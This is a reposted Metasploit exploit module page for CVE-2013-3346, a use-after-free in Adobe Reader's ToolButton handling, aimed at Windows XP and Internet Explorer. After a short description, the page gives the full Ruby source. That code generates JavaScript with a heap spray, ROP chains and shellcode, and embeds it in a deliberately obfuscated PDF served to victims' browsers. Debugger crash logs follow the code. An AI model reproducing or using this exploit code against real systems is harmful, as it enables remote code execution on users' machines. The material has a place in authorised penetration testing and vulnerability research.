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Adobe Reader ToolButton Use After Free

Adobe Reader ToolButton Use After Free
Posted Dec 17, 2013
Authored by Soroush Dalili, sinn3r, juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6 and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where the cEnable callback can be used to early free the object memory. Later use of the object allows triggering the use after free condition. This Metasploit module has been tested successfully on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order to exploit Adobe Reader 9 the fileformat version of the exploit can be used.

tags | exploit
systems | windows, xp
advisories | CVE-2013-3346, OSVDB-96745
MD5 | 331a6848bb1a597a72b8e41a22f16ec3

Adobe Reader ToolButton Use After Free

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Reader ToolButton Use After Free",
'Description' => %q{
This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in
November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order
to exploit Adobe Reader 9 the fileformat version of the exploit can be used.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Unknown', # Exploit in the wild
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-3346' ],
[ 'OSVDB', '96745' ],
[ 'ZDI', '13-212' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:os_flavor => Msf::OperatingSystems::WindowsVersions::XP,
:ua_name => Msf::HttpClients::IE
},
'Targets' =>
[
[ 'Windows XP / IE / Adobe Reader 10/11', { } ],
],
'Privileged' => false,
'DisclosureDate' => "Aug 08 2013",
'DefaultTarget' => 0))

end

def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
js_data = make_js(cli, target_info)
# Create the pdf
pdf = make_pdf(js_data)
print_status("Sending PDF...")
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
end

def make_js(cli, target_info)
# CreateFileMappingA + MapViewOfFile + memcpy rop chain
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))

js = %Q|
function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);
var sa = str_addr;
while (sa.length < (0x0c0c - r_addr)) sa += sa;
bbb += sa;
bbb += aaa;
var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);
bbb += str;
bbb += aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);
var eee = new Array();
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;

var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;

if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
r11 = true;
obj_size = 0x370;
rop = rop11;
rop_addr = unescape("%u08a8%u0c0c");
r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
} else {
vulnerable = false;
}

if (vulnerable) {
var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);

var part1 = "";
if (!r11) {
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
}
part1 += rop_addr;
var part2 = "";
var part2_len = obj_size - part1.length * 2;
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
var arr = new Array();

removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});

for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}

addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}

app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
}
|

js
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj \n" % id
end

def ioRef(id)
"%d 0 R" % id
end


#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end


def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end


def make_pdf(js)
xref = []
eol = "\n"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol

# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(4) << eol
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
pdf << nObfu("/AcroForm ") << ioRef(6) << eol
pdf << nObfu(">>") << eol
pdf << endobj

# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj

# page 1
xref << pdf.length
pdf << ioDef(3) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj

# js action
xref << pdf.length
pdf << ioDef(4) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)
pdf << nObfu(">>") << eol
pdf << endobj

# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

###
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
###

# form object
xref << pdf.length
pdf << ioDef(6)
pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol
pdf << endobj

# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

xref << pdf.length
pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj

###
# end form stuff for icucnv36.dll / icucnv40.dll
###


# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol
pdf
end

end


=begin

* crash Adobe Reader 10.1.4

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
AcroRd32_60000000!PDFLTerm+0xbb7cd:
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????

* crash Adobe Reader 11.0.2

(940.d70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????

=end

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